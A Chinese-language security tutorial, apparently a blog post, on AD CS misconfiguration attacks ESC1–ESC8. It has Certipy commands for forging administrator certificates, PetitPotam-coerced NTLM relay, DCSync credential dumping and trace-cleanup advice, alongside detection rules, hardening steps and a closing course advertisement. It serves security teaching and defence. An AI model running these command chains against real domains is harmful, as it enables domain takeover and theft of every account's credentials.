🔒免责声明:本文所有技术内容仅用于授权渗透测试、红蓝对抗、安全学习研究。禁止在未授权的企业 AD 环境执行证书申请、NTLM 中继、模板修改、DCSync 等攻击行为,未授权操作 Windows 活动目录属于违法行为。全部案例均来自自建靶场,请勿直接复现至生产业务环境。
目录
- 1. 前言:什么是 AD CS,为什么证书服务成为域内高危突破口
- 2. AD CS 核心基础概念
- 2.1 CA 证书颁发机构
- 2.2 证书模板 Template
- 2.3 SAN 主体备用名称 Subject Alternative Name
- 2.4 EKU 扩展密钥用途(Enhanced Key Usage)
- 2.5 PKINIT 协议
- 3. Certipy 工具完整安装与基础命令详解
- 3.1 工具安装
- 3.2 核心子命令总览
- 3.3 基础信息收集命令
- 4. 八大经典 AD‑CS 攻击链路 ESC1‑ESC8 原理 + 实战复现
- 4.1 ESC1 申请者提供主题 SAN(最常见高危模板漏洞)
- 4.2 ESC2 证书无限制 EKU Any Purpose
- 4.3 ESC3 注册代理模板漏洞 Enrollment Agent
- 4.4 ESC4 低权限用户可修改证书模板 ACL
- 4.5 ESC5 CA 对象或者模板对象高危 ACL 权限
- 4.6 ESC6 CA 全局标志位 EDITF_ATTRIBUTESUBJECTALTNAME2
- 4.7 ESC7 攻击者拥有 CA 管理权限 ManageCA
- 4.8 ESC8 NTLM 中继攻击 CA Web Enrollment 证书 Web 注册接口
- 5. 补充攻击场景:证书持久化、跨森林 AD‑CS、CVE‑2022‑26923
- 5.1 AD‑CS 证书作为域持久化后门
- 5.2 CVE‑2022‑26923 域计算机对象权限错误提权
- 5.3 跨森林 AD‑CS 利用场景
- 6. 完整靶场实战:普通域用户账号,利用 ESC1 拿下域控完整流程
- 7. 护网真实复盘:企业 AD‑CS 配置错误导致整个域沦陷
- 8. AD CS 审计方法:Certipy、BloodHound、LDAP 查询审计模板风险
- 8.1 Certipy 自动化审计(最推荐)
- 8.2 BloodHound CE 审计 AD‑CS
- 8.3 LDAP 查询证书模板
- 9. 蓝队检测:安全事件 ID、狩猎规则
- 10. 生产环境完整加固清单,修复 ESC1‑ESC8 全部风险
- 11. AD‑CS 面试高频考点整理
- 12. 全文总结
- 如何系统学习网络安全?
- 一、网络安全(黑客)学习路线
- 二、网络安全教程视频
- 三、网络安全CTF实战案例
- 四、网络安全面试题
摘要
AD CS(Active Directory Certificate Services,活动目录证书服务)是微软企业域环境用于颁发数字证书的组件,大量企业为了 VPN、WiFi、智能卡、TLS 业务部署 CA 证书服务器。很多安全人员以为 AD CS 是普通证书服务,却忽略大量配置错误可以实现普通域用户直接提升至域管理员权限。该类攻击不属于 0day 漏洞,属于配置错误,护网、红蓝对抗当中出现频率极高,只需要普通域账号权限就可完成提权,攻击后获取的证书有效期长达数年,可作为域持久化后门。
本文完整讲解 AD CS 基础概念、证书模板、EKU 扩展密钥用途;详解 ESC1‑ESC8 主流攻击链原理,搭配 Certipy 全套实战命令;覆盖信息收集、漏洞识别、证书申请、PKINIT 认证、DCSync、NTLM‑Relay ESC8 中继攻击;同时讲解 ESC4 模板篡改、跨森林 AD‑CS 利用、证书持久化;包含靶场完整实操流程、BloodHound 审计方法、蓝队日志事件 ID、生产环境加固方案与面试高频考点。读完本文能够完整掌握 AD‑CS 全套红队攻击链路,也可以作为蓝队工程师审计企业 CA 证书服务的参考手册。
MITRE ATT&CK 映射:T1649 伪造证书,T1003.006 DCSync,T1558.003 Kerberos PKINIT,T1557 NTLM 中继,T1068 权限提升。
1. 前言:什么是 AD CS,为什么证书服务成为域内高危突破口
AD CS 是 Windows Server 内置角色,部署 CA(证书颁发机构)服务器,域内机器、用户可以向 CA 申请数字证书。证书可以用于:VPN 身份认证、802.1X 无线、智能卡登录、HTTPS 证书、Kerberos PKINIT 证书登录域环境。
重点:拥有合法的域用户身份证书,就可以代替密码完成 Kerberos 认证,向域控申请 TGT 票据,导出用户 NTLM 哈希,执行 DCSync 导出域全部凭证。
很多运维人员认知误区:
- “证书只是加密工具,不会造成权限泄露”
- “只要打全 Windows 系统补丁,AD‑CS 就安全”
- “默认模板不会存在风险,不需要审计证书模板”
AD‑CS 绝大多数攻击不是系统漏洞,而是配置错误。即使系统完全打满补丁,错误配置依旧可以被攻击者利用。只需要一个普通域用户账号,无需管理员权限,就可以提权到域管理员。
红队实战现状:
大中型企业域环境,部署 AD‑CS 比例非常高。红蓝对抗当中,AD‑CS 已经和 Kerberoasting、黄金票据、RBCD 并列,成为内网渗透最常利用攻击手段。并且证书有效期通常设置 1‑5 年,拿到证书 pfx 文件,就算用户修改密码,证书依旧有效,是非常优秀的域持久化后门。
风险根源:CA 服务信任模板配置,如果模板允许申请者自定义 SAN(主体备用名称),攻击者申请证书的时候,填写域管理员 UPN,CA 服务器会签发代表域管理员身份的证书,攻击者拿着这份证书,冒充域管理员登录域。
2. AD CS 核心基础概念
2.1 CA 证书颁发机构
企业 CA 分为根 CA、子 CA。企业 CA 会把自身注册到活动目录,域内所有机器信任该 CA 根证书。CA 服务器计算机账号通常属于Cert Publishers组。域中 CA 对象存储在 LDAP 路径CN=Certification Authorities,CN=Public Key Services,CN=Services,Configuration,DC=domain,DC=com。
2.2 证书模板 Template
模板定义签发证书属性:密钥用法、扩展密钥用途 EKU、注册权限、是否允许申请者提供 SAN、证书有效期。模板保存在 LDAPCN=Certificate Templates,CN=Public Key Services,CN=Services,Configuration。我们绝大多数 AD‑CS 攻击都是利用证书模板配置错误。
2.3 SAN 主体备用名称 Subject Alternative Name
SAN 字段可以填写 UPN(用户主体名称,例如administrator@corp.com)、DNS 主机名。证书用来标识这份证书代表哪一个域对象。如果模板允许申请者自定义 SAN,申请证书时我们就可以随便填写任意用户的 UPN。
2.4 EKU 扩展密钥用途(Enhanced Key Usage)
EKU 决定这份证书能干什么,是攻击非常关键字段:
- Client Authentication(客户端身份认证 1.3.6.1.5.5.7.3.2):最重要!允许证书用于 Kerberos PKINIT 登录域。没有这个 EKU,就算拿到证书,也无法用来进行域身份认证。
- Certificate Request Agent(注册代理):允许用该证书代替其他用户申请证书,ESC3 漏洞依赖该 EKU。
- Any Purpose(任意用途):所有功能全部开放,ESC2 漏洞。
- Server Authentication:服务端身份认证,用于 HTTPS。
核心结论:想要利用证书冒充用户登录域,证书必须包含
Client Authentication客户端认证 EKU。
2.5 PKINIT 协议
Kerberos 协议扩展 PKINIT,允许用户使用数字证书代替密码,向 KDC(域控)申请 TGT 票据。攻击者拿到 pfx 证书文件,通过 PKINIT 向域控制器申请 TGT,并且可以导出对应用户的 NTLM 哈希。
3. Certipy 工具完整安装与基础命令详解
Certipy(certipy‑ad)是目前 AD‑CS 攻击最主流跨平台工具,使用 Python 开发,支持 Linux 攻击机直接操作域 CA 服务,支持 ESC1‑ESC8 全部攻击链路,同时可以审计模板漏洞,生成 pfx 证书文件,完成 PKINIT 认证导出 NT 哈希。
3.1 工具安装
# kali / python3环境安装 pip3 install certipy‑ad # 查看帮助 certipy‑ad ‑h注意:旧版本 Certipy 存在部分 bug,建议使用最新版本 certipy‑ad。
3.2 核心子命令总览
| 子命令 | 功能说明 |
|---|---|
| certipy find | 信息收集,扫描 AD,识别 CA、证书模板,标记 ESC 高危漏洞 |
| certipy req | 向 CA 服务器申请证书 |
| certipy auth | 使用 pfx 证书执行 PKINIT 认证,获取 TGT,导出 NTLM hash |
| certipy relay | ESC8 攻击 NTLM 中继监听服务 |
| certipy ca | 操作 CA 服务器配置,添加注册管理员、启用 / 禁用模板 |
| certipy account update | 修改账号 altSecurityIdentities 属性,影子凭证相关 |
3.3 基础信息收集命令
# 完整扫描,识别所有ESC漏洞,输出json报告 certipy‑ad find -u "lowuser@corp.com" -p "Password123!" -dc‑ip 192.168.10.10 -vulnerable -stdout-u域账号,普通域用户权限即可扫描;-vulnerable参数:自动识别 ESC1‑ESC8 风险点;-stdout直接控制台输出;不加会输出 json 文件。
扫描输出重点观察:
- CA 名称:
CORP‑DC‑CA;CA 服务器主机名; - 证书模板列表;标记
VULNERABLE即为存在漏洞模板; - 漏洞类型 ESC1/ESC2/ESC3 等;
- 哪些用户组拥有 Enroll 注册权限;
- CA 标志位,是否开启 EDITF_ATTRIBUTESUBJECTALTNAME2(ESC6)。
4. 八大经典 AD‑CS 攻击链路 ESC1‑ESC8 原理 + 实战复现
4.1 ESC1 申请者提供主题 SAN(最常见高危模板漏洞)
漏洞条件(全部需要同时满足):
- 证书模板标志位开启
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT:申请者可以自定义 SAN 主体备用名称; - EKU 包含
Client Authentication客户端身份认证; - 普通域用户(Authenticated Users)拥有模板 Enroll 注册权限;
- 不需要管理员审批(没有开启 CT_FLAG_PEND_ALL_REQUESTS)。
攻击原理:
普通域用户向 CA 申请证书,SAN 字段填写域管理员 UPNadministrator@corp.com。CA 不会校验 SAN 和申请人身份匹配,直接签发代表域管理员身份的证书。攻击者拿到 pfx 证书文件,使用 PKINIT 协议向域控申请 TGT,导出域管理员 NTLM 哈希,之后可以 DCSync 拿到域控全部凭证。
这是红蓝对抗当中遇到最多的 AD‑CS 漏洞。很多企业自定义业务模板,勾选 “请求方提供主题信息”,造成 ESC1 风险。
实战完整命令(Certipy)
# 步骤1:申请伪造管理员SAN的证书 certipy‑ad req \ ‑u lowuser@corp.com \ ‑p "Password123!" \ ‑ca CORP‑DC‑CA \ ‑template VulnTemplate \ ‑upn administrator@corp.com \ ‑dc‑ip 192.168.10.10执行完成输出administrator.pfx证书私钥文件。
# 步骤2:使用pfx证书PKINIT认证,获取TGT并且导出NTLM哈希 certipy‑ad auth ‑pfx administrator.pfx ‑dc‑ip 192.168.10.10输出得到 administrator 的 NTLM Hash。拿到哈希之后可以直接进行 PTH,或者执行 secretsdump DCSync 导出域全部账号凭证。
坑点:部分环境需要同时指定‑sid 参数填写目标用户 SID;部分环境 LDAP 协议需要指定‑ldap‑scheme ldap。
4.2 ESC2 证书无限制 EKU Any Purpose
漏洞条件:
- 证书模板 EKU 为空,或者设置
Any Purpose(任意用途); - 普通域用户具备 Enroll 注册权限;
- 无需管理员审批。
攻击原理:Any Purpose 代表证书拥有全部 EKU 权限,自然包含 Client Authentication 客户端认证。如果模板虽然不能自定义 SAN,但是模板 Subject 使用申请人本身;攻击者拿到该模板证书之后,结合其他攻击,例如模板本身账号为高权限,或者配合 ESC4、ESC6 等组合链。
ESC2 单独利用场景少,大多作为组合攻击其中一环。
4.3 ESC3 注册代理模板漏洞 Enrollment Agent
漏洞条件:
- 证书模板 EKU 包含
Certificate Request Agent注册代理; - 普通域用户拥有模板 Enroll 注册权限;
- 不需要管理员审批。
攻击原理:
第一步,攻击者申请注册代理证书(Enrollment Agent);这份证书允许代替其他身份向 CA 提交证书申请。
第二步,使用代理证书,以域管理员身份去申请客户端认证证书;CA 接受代理证书,直接签发域管理员的证书。
第三步,拿到管理员 pfx 证书,PKINIT 登录域。
Certipy 实战命令:
# 1、申请注册代理证书 certipy‑ad req ‑u lowuser@corp.com ‑p Password123! ‑ca CORP‑DC‑CA ‑template AgentTemplate ‑dc‑ip 192.168.10.10 # 得到agent.pfx # 2、使用代理证书,代替administrator申请客户端认证证书 certipy‑ad req ‑pfx agent.pfx ‑on‑behalf‑of administrator@corp.com ‑ca CORP‑DC‑CA ‑template User ‑dc‑ip 192.168.10.10 # 3、拿到administrator.pfx,执行auth认证 certipy‑ad auth ‑pfx administrator.pfx ‑dc‑ip 192.168.10.104.4 ESC4 低权限用户可修改证书模板 ACL
漏洞条件:
攻击者拥有对证书模板对象的写权限(GenericWrite / WriteDacl / WriteProperty),普通域用户通过 ACL 配置错误拿到修改模板权限。
攻击原理:模板本身没有漏洞,但是攻击者可以修改模板属性,手动把正常模板改成 ESC1 高危模板:
- 开启
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT允许申请者自定义 SAN; - 添加 Client Authentication EKU;
- 设置普通用户拥有 Enroll 权限;
- 关闭管理员审批。
修改完成之后,就拥有了 ESC1 攻击条件,申请伪造 SAN 的管理员证书。攻击结束后,建议把模板恢复原有配置,消除痕迹。
真实环境:部分运维给业务组账号分配模板对象过高 DACL 权限,导致 ESC4 风险。BloodHound 可以直接看到谁拥有模板对象的 GenericWrite 权限。
Certipy 操作修改模板:
# 修改模板制造ESC1条件 certipy‑ad template edit ‑template NormalTemplate ‑enable‑enrollee‑supplies‑subject true ‑add‑eku "Client Authentication" ‑u lowuser@corp.com ‑p Password123! ‑dc‑ip 192.168.10.10红队实战注意:修改模板会产生明显日志,红蓝对抗中尽量做完攻击立刻恢复原始配置。
4.5 ESC5 CA 对象或者模板对象高危 ACL 权限
ESC5 代表 CA 服务器对象、证书模板对象 ACL 权限配置错误。
- 攻击者拥有 CA 对象 ManageCA、ManageCertificates 权限,对应 ESC7;
- 攻击者拥有模板对象 GenericWrite,对应 ESC4;
ESC5 属于大类,代表 AD 对象 DACL 配置不当,是 ESC4、ESC7 的底层根源。BloodHound 审计重点关注 Public Key Services 下面对象的权限。
4.6 ESC6 CA 全局标志位 EDITF_ATTRIBUTESUBJECTALTNAME2
漏洞条件:CA 服务本身开启标志位EDITF_ATTRIBUTESUBJECTALTNAME2。
重点:这是 CA 服务级别配置,不是模板配置!一旦开启,该 CA 下所有模板,不管模板本身是否开启 ENROLLEE_SUPPLIES_SUBJECT,申请者提交请求时都可以指定 SAN 字段,直接造成 ESC1 同等效果。
危害极大,CA 全局开关,影响全部证书模板。很多老旧业务迁移场景管理员为兼容软件打开该标志,忘记关闭。
Certipy 扫描输出会标记EDITF_ATTRIBUTESUBJECTALTNAME2: True,代表存在 ESC6 风险。
利用命令和 ESC1 完全一致,随便找一个具备 Client Authentication、允许注册的模板,申请证书带上‑upn 伪造管理员 UPN。
加固:必须在 CA 服务器执行命令清除该标志位。
4.7 ESC7 攻击者拥有 CA 管理权限 ManageCA
漏洞条件:攻击者账号拥有 CA 对象ManageCA(CA 管理员)权限。
攻击原理:
- 拥有 ManageCA 权限,可以把自己账号添加成为 CA 注册管理员;
- 启用危险内置
SubCA子 CA 模板;SubCA 模板默认支持自定义 SAN; - 使用 SubCA 模板申请证书,伪造域管理员 SAN,接管域。
SubCA 模板默认是禁用状态,普通用户不能注册,但是 CA 管理员可以启用模板。
Certipy ESC7 利用完整命令:
# 添加当前用户成为CA注册管理员 certipy‑ad ca ‑ca CORP‑DC‑CA ‑add‑officer lowuser@corp.com ‑u lowuser@corp.com ‑p Password123! ‑dc‑ip 192.168.10.10 # 启用SubCA模板 certipy‑ad ca ‑ca CORP‑DC‑CA ‑enable‑template SubCA ‑u lowuser@corp.com ‑p Password123! ‑dc‑ip 192.168.10.10 # 使用SubCA模板申请伪造管理员证书 certipy‑ad req ‑u lowuser@corp.com ‑p Password123! ‑ca CORP‑DC‑CA ‑template SubCA ‑upn administrator@corp.com ‑dc‑ip 192.168.10.104.8 ESC8 NTLM 中继攻击 CA Web Enrollment 证书 Web 注册接口
漏洞条件:CA 服务器开启 IIS 角色,安装证书 Web 注册组件http://ca‑server/certsrv。该接口支持 NTLM 身份认证。
ESC8 不需要任何证书模板漏洞!不需要注册权限。依靠 NTLM 中继攻击。
攻击原理:
- 攻击者机器开启 Certipy relay 中继监听;
- 触发域控机器向攻击者 IP 发起 SMB 连接(强制认证,例如 Spooler 打印漏洞、PetitPotam、DFSCoerce);
- 将域控机器账号的 NTLM 认证中继转发至 CA 服务器 certsrv Web 接口;
- 以域控计算机账号身份向 CA 申请证书(Machine 模板);
- 获取域控制器计算机账号 pfx 证书文件;
- 使用该证书 PKINIT,以域控机器身份认证,执行 DCSync 导出整个域全部账号哈希。
ESC8 攻击对象是域控制器计算机账号,不是普通用户。拿到 DC 机器证书,就可以 DCSync。
Certipy ESC8 实战命令:
# 1、开启中继监听,目标填写CA服务器certsrv地址 certipy‑ad relay ‑target http://192.168.10.10/certsrv # 2、另起终端,使用Coerce工具,强制域控回连攻击机IP,触发NTLM认证 python3 PetitPotam.py attacker‑ip 192.168.10.10中继成功之后会输出dc01$‑machine.pfx域控机器证书。
# 使用机器证书执行DCSync certipy‑ad auth ‑pfx dc01$‑machine.pfx ‑dc‑ip 192.168.10.10拿到域控机器账号 NTLM 哈希,直接 DCSync 导出全域凭证。
重要加固:给 CA 服务器 certsrv 站点开启 LDAP 签名,或者关闭 NTLM 认证,只允许 Kerberos 认证,彻底防御 ESC8。
5. 补充攻击场景:证书持久化、跨森林 AD‑CS、CVE‑2022‑26923
5.1 AD‑CS 证书作为域持久化后门
pfx 证书文件包含私钥,证书有效期通常设置 2‑5 年。即使目标用户修改域密码,证书依旧有效。只要攻击者保存 pfx,随时可以 PKINIT 登录该账号,属于非常优质的持久化手段。
# 证书续期,延长证书有效期 certipy‑ad req ‑pfx admin.pfx ‑renew ‑ca CORP‑DC‑CA ‑out admin_renew.pfx蓝队排查:CA 审计日志 4887 事件,排查异常证书申请记录。
5.2 CVE‑2022‑26923 域计算机对象权限错误提权
该漏洞属于 AD‑CS 相关经典 CVE。普通域用户新建计算机账号,修改计算机账号dnsHostName属性为域控主机名,向机器模板申请证书,拿到域控身份证书实现 DCSync。需要打微软对应安全补丁修复该问题。
5.3 跨森林 AD‑CS 利用场景
当存在森林信任的时候,如果外部森林用户拥有本域 CA 模板 Enroll 注册权限,同样可以发生 ESC1‑ESC3 攻击;SID 过滤不会拦截证书 PKINIT 认证。红队做跨森林渗透,需要审计目标森林 AD‑CS 证书服务风险。
6. 完整靶场实战:普通域用户账号,利用 ESC1 拿下域控完整流程
靶场环境:
- 域:corp.com;域控 DC01 192.168.10.10;CA 服务器 DC01‑CA;
- 攻击者账号:lowuser@corp.com,普通域用户,无任何管理员权限;
- 存在自定义漏洞模板
VulnTemplate,满足 ESC1 全部条件。
攻击完整步骤(授权靶场演练)
- 拿到普通域账号密码,kali 攻击机使用 certipy find 扫描 AD‑CS 服务。
certipy‑ad find ‑u lowuser@corp.com ‑p "Password123!" ‑dc‑ip 192.168.10.10 ‑vulnerable ‑stdout扫描结果标记模板VulnTemplate为 ESC1 高危漏洞,Authenticated Users 拥有 Enroll 注册权限。
- 使用漏洞模板,申请证书,伪造administrator@corp.com作为 SAN‑UPN。
certipy‑ad req ‑u lowuser@corp.com ‑p "Password123!" ‑ca CORP‑DC‑CA ‑template VulnTemplate ‑upn administrator@corp.com ‑dc‑ip 192.168.10.10成功输出 administrator.pfx 证书私钥文件。
- 使用 pfx 证书执行 PKINIT 认证,获取 administrator 的 NTLM 哈希。
certipy‑ad auth ‑pfx administrator.pfx ‑dc‑ip 192.168.10.10输出 NTLM 哈希:aad3b435b51404ee0000000000000000:58a478135a93ac3bf058a5ea0e8fdb71
- 拿到管理员 NTLM 哈希,使用 secretsdump 执行 DCSync 导出域内全部账号凭证。
secretsdump.py corp.com/administrator@192.168.10.10 ‑hashes aad3b435b51404ee0000000000000000:58a478135a93ac3bf058a5ea0e8fdb71至此,仅仅凭借普通域用户账号,完整拿下整个域控制器。
靶场踩坑总结:
- 模板缺少 Client Authentication EKU,就算可以自定义 SAN,证书也不能用于 PKINIT 登录;
- 开启了模板管理员审批,申请证书需要 CA 管理员手动批准,攻击失败;
- DNS 解析问题,kali 需要能够解析域内主机名,/etc/resolv.conf 填写域控 DNS。
7. 护网真实复盘:企业 AD‑CS 配置错误导致整个域沦陷
某政企护网红蓝对抗真实案例。
企业业务需要无线 802.1X 认证,部署企业 AD‑CS 证书服务,运维人员复制一份内置 User 模板新建业务模板,勾选 “请求方提供主题信息”,没有修改注册权限,Authenticated Users 默认拥有 Enroll 注册权限,造成 ESC1 漏洞。
- 红队通过外网业务漏洞拿到一台内网机器 Webshell,抓取内存得到一个普通域员工账号密码;
- 内网横向之后执行 Certipy 扫描,发现 ESC1 高危证书模板;
- 使用普通员工账号,申请伪造域管理员 UPN 的 pfx 证书;
- PKINIT 认证导出域管理员 NTLM 哈希,DCSync 导出域全部账号;
- 直接接管域控制器,拿下整个内网最高权限。
事后根因分析:
- 运维人员不了解 AD‑CS 安全风险,复制模板时开启申请者提供 SAN 字段;
- 从未做过证书模板安全审计;
- CA 服务器没有开启完整证书请求审计;没有监控异常证书签发行为。
整改建议:删除危险模板,重新制作安全业务模板;开启 CA 完整审计;定期使用 Certipy 做 AD‑CS 风险审计。
真实护网案例告诉我们:AD‑CS 配置错误,普通域用户就是通往域控的高速通道。
8. AD CS 审计方法:Certipy、BloodHound、LDAP 查询审计模板风险
8.1 Certipy 自动化审计(最推荐)
certipy‑ad find ‑u audituser@corp.com ‑p Audit@123 ‑dc‑ip 192.168.10.10 ‑vulnerable ‑output adcs_report输出 json 报告,直接查看标记 VULNERABLE 字段。
8.2 BloodHound CE 审计 AD‑CS
SharpHound 采集器会自动采集 CA、证书模板对象。
BloodHound 查询语句:
Find Certificate Templates查询全部证书模板;- 查看哪些主体拥有模板 Enroll 注册权限;
- 查看谁拥有模板对象 GenericWrite、WriteDacl 权限(ESC4 风险);
- 查看 CA 对象权限,寻找 ManageCA 权限持有者(ESC7)。
BloodHound 不会识别 ESC6 CA 标志位,ESC6 必须使用 Certipy 扫描。
8.3 LDAP 查询证书模板
LDAP 查询路径CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=com,读取属性msPKI‑Certificate‑Name‑Flag、msPKI‑Extended‑Key‑Usage、msPKI‑Enrollment‑Permissions。
9. 蓝队检测:安全事件 ID、狩猎规则
CA 服务器必须开启证书服务审计策略,否则关键日志不会生成,GPO 配置审计策略,开启
审核证书服务请求(0x04 AUDIT_CERTSRV_REQUESTFLAGS)。
| 事件 ID | 日志来源 | 事件说明 | 攻击行为对应 |
|---|---|---|---|
| 4886 | CA 安全日志 | 收到证书申请请求 | 所有证书申请都会产生 |
| 4887 | CA 安全日志 | 证书成功颁发 | 攻击者拿到漏洞证书,必定出现 4887 事件 |
| 4888 | CA 安全日志 | 证书申请被拒绝 | |
| 4768 | 域控安全日志 | TGT 请求,Pre‑Auth 类型 17 | PKINIT 证书登录,Pre‑Authentication=17,代表使用证书认证,区别密码登录 |
| 4662 | 域控安全日志 | 目录对象修改 | ESC4 攻击修改证书模板对象,产生 4662 日志 |
SIEM 狩猎规则示例:
#狩猎PKINIT证书登录行为,PreAuth=17 EventID=4768 AND PreAuthType=17 #狩猎CA服务器异常证书颁发 EventID=4887 #狩猎证书模板对象被修改 EventID=4662 AND ObjectClass="pKICertificateTemplate"应急处置(确认发生 AD‑CS 攻击沦陷)
- 在 CA 服务器吊销攻击者恶意申请的证书;
- 检查全部证书模板配置,修复 ESC1‑ESC6 风险;
- 重置被冒充账号密码;
- 检查 CA 标志位,清除 EDITF_ATTRIBUTESUBJECTALTNAME2;
- 审计所有模板 DACL 权限,清理过高权限;
- 检查是否存在恶意持久化 pfx 证书;
- 全域日志排查,确认攻击者横向路径。
注意:仅仅修改用户密码,不能作废已经泄露的 pfx 证书,必须在 CA 上执行证书吊销操作。
10. 生产环境完整加固清单,修复 ESC1‑ESC8 全部风险
- 证书模板最小权限原则
- 业务模板禁止开启
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT(申请者提供 SAN),业务确实需要该功能,严格限制 Enroll 注册权限,只给指定业务账号,绝对不能给 Authenticated Users; - 业务模板 EKU 严格管控,不需要 Client Authentication 就不要开启该 EKU;
- 高危内置模板 SubCA,保持禁用状态;
- 模板启用管理员审批,高安全业务开启申请审批。
- 修复 ESC6 风险
CA 服务器执行命令,清除EDITF_ATTRIBUTESUBJECTALTNAME2标志位,除非业务有强兼容需求,否则绝对禁止开启该标志。
certutil ‑setreg CA\PolicyModules\CertificatePolicyModule\EDITF_ATTRIBUTESUBJECTALTNAME2 0 net stop certsvc && net start certsvc- ESC7 加固:严格管控 CA 对象权限
CA 对象 ManageCA、ManageCertificates 权限,只分配给极少数域管理员,禁止普通业务账号拥有 CA 管理权限。定期审计 CA 对象 DACL。 - ESC8 加固防御 NTLM 中继
- CA 服务器 certsrv Web 注册接口,禁用 NTLM 身份认证,仅允许 Kerberos 认证;
- 如果不需要 Web 注册功能,直接卸载 IIS 证书 Web 注册组件,从根源消除 ESC8 攻击面;
- 域控开启强制 SMB 签名,防御 NTLM 中继攻击。
- ACL 权限管控,防御 ESC4 ESC5
证书模板、CA、Public Key Services 下所有 LDAP 对象,严格控制 DACL;普通域用户禁止拥有模板 GenericWrite、WriteDacl 权限。定期 BloodHound 审计。 - 开启完整 CA 证书审计
GPO 下发策略,CA 服务器开启证书服务请求审计,记录 4886、4887 事件;日志集中上传 SIEM。部署 Defender for Identity 检测异常 PKINIT 证书登录行为。 - 定期安全审计
每月使用 Certipy 扫描整个森林 AD‑CS 风险;企业合并跨森林信任,同步审计外部森林 CA 风险。 - 证书生命周期管控
证书有效期不要设置过长,业务证书尽量缩短有效期;发生安全事件及时吊销可疑证书。
11. AD‑CS 面试高频考点整理
- ESC1 漏洞触发条件是什么?
①模板开启 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 申请者提供 SAN;②EKU 包含 Client Authentication;③普通用户拥有 Enroll 注册权限;④不需要管理员审批。普通域用户可以申请携带任意 UPN‑SAN 的证书,冒充域管理员。 - 什么是 PKINIT?
Kerberos 扩展协议,允许使用数字证书代替密码向 KDC 申请 TGT 票据,AD‑CS 攻击后拿到 pfx 就是依靠 PKINIT 完成身份认证。 - ESC6 是什么,危害?
CA 服务级别全局标志 EDITF_ATTRIBUTESUBJECTALTNAME2 开启,CA 下所有模板都支持申请者自定义 SAN,不管模板本身配置,造成全局 ESC1 风险。 - ESC8 攻击原理,需要模板漏洞吗?
不需要模板漏洞。利用 certsrv Web 注册接口 NTLM 中继,强制域控机器账号 NTLM 认证中继到 CA,申请域控机器证书,拿到机器证书执行 DCSync。防御:关闭 NTLM,卸载 Web 注册组件,开启 SMB 强制签名。 - 拿到 pfx 证书,修改用户密码之后证书还能用吗?
仍然可用。证书独立于密码,必须在 CA 服务器吊销证书才会失效。 - ESC4 攻击思路?
攻击者拥有证书模板对象 GenericWrite/WriteDacl,修改模板属性,把正常模板篡改成为 ESC1 漏洞模板,完成提权。 - Client Authentication EKU 作用?
只有拥有这个 EKU 的证书,才能用于 PKINIT 进行域身份登录。没有该 EKU 就算拿到证书,也不能冒充账号登录域。 - ESC3 注册代理漏洞原理?
模板拥有 Certificate Request Agent EKU,攻击者申请代理证书,使用代理证书代替其他用户申请客户端认证证书。 - AD‑CS 攻击拿到机器账号证书可以做什么?
域控制器机器账号证书,通过 PKINIT 以 DC 机器身份认证,拥有 DCSync 权限,导出域全部凭证。 - AD‑CS 应急响应,修改账号密码为什么不足以处置?
pfx 证书不受账号密码影响,必须到 CA 服务器执行证书吊销,同时修复模板漏洞。
12. 全文总结
AD‑CS 证书服务攻击已经成为内网渗透、红蓝对抗非常核心攻击向量,绝大多数问题来源于运维配置错误,而不是系统 CVE 漏洞,即使系统全部打补丁依然存在巨大风险。
- ESC1 是现实环境最高频漏洞,核心是模板允许申请者自定义 SAN + 客户端认证 EKU,普通域用户直接提权域管理员;ESC6 属于 CA 全局危险开关,影响全部模板。
- ESC8 不需要模板漏洞,依靠 NTLM 中继攻击 CA Web 注册服务,拿到域控制器机器证书直接 DCSync,防御手段优先卸载不需要的 certsrv 组件。
- Certipy 是红队审计与利用一体化工具,可以完成扫描、申请证书、PKINIT 认证全套流程。
- 证书 pfx 文件可以作为持久化后门,证书有效期长,修改账号密码无法作废证书,必须 CA 执行吊销操作。
- 蓝队防御关键点:最小权限配置证书模板,关闭危险 CA 标志位,严格管控模板与 CA 对象 ACL;开启 CA 完整审计日志;不需要 Web 注册功能就卸载 certsrv 组件;定期使用 Certipy 做 AD‑CS 安全审计。
- 大型多森林企业,做渗透测试需要同时审计所有森林 AD‑CS 证书服务风险。
技术声明:本文全部技术仅限授权靶场、授权红蓝对抗演练,严禁未授权操作企业活动目录环境。
如何系统学习网络安全?
网络安全作为数字时代的核心技术基石,已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线,掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。
构建稳固的网络安全能力是一个体系的工程,需要从夯实基础理论出发,持续深化到攻防对抗与应急响应的实战层面。
如果你是准备学习网络安全(黑客)或者正在学习,我可以把我自用的360独家内部资料分享给你,包含以下内容你应该能用得上:
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
一、网络安全(黑客)学习路线
网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、网络安全教程视频
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。
三、网络安全CTF实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
四、网络安全面试题
最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。
网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】